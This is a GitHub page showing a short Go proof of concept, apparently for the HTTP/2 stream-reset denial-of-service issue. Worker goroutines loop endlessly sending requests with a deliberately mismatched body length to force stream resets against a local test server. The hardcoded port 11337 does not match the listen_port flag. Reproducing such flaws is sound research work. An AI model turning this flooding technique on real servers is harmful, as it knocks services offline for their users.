forked from micrictor/http2-rst-stream
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.go
50 lines (43 loc) · 1.17 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
import (
"bytes"
"flag"
"fmt"
"io"
"log"
"net/http"
"net/url"
)
var (
listenPort = flag.Int("listen_port", 12345, "Server listening port")
certFile = flag.String("cert_file", "server.crt", "TLS server cert")
keyFile = flag.String("key_file", "server.key", "TLS server key file")
numWorkers = flag.Int("num_workers", 10, "number of async workers")
)
func asyncWorker(workerId int, serverUrl *url.URL) {
// Abuse the checks on body size to send Stream RSTs
// https://go.googlesource.com/net/+/master/http2/transport.go#1748
client := initClient()
for i := 0; ; i++ {
request := &http.Request{
URL: serverUrl,
ContentLength: 2,
Body: io.NopCloser(bytes.NewReader([]byte("test"))),
}
client.Do(request)
// log.Printf("[worker %d] request %d: %s", workerId, i, err)
}
}
func main() {
server := initServer("test", int16(*listenPort))
serverUrl, err := url.Parse(fmt.Sprintf("https://localhost:%d", 11337))
if err != nil {
log.Fatalf("failed to parse internal URL: %s", err)
}
for i := 0; i < *numWorkers; i++ {
go asyncWorker(i, serverUrl)
}
for err := range server.errors {
log.Printf("server error: %s", err)
}
}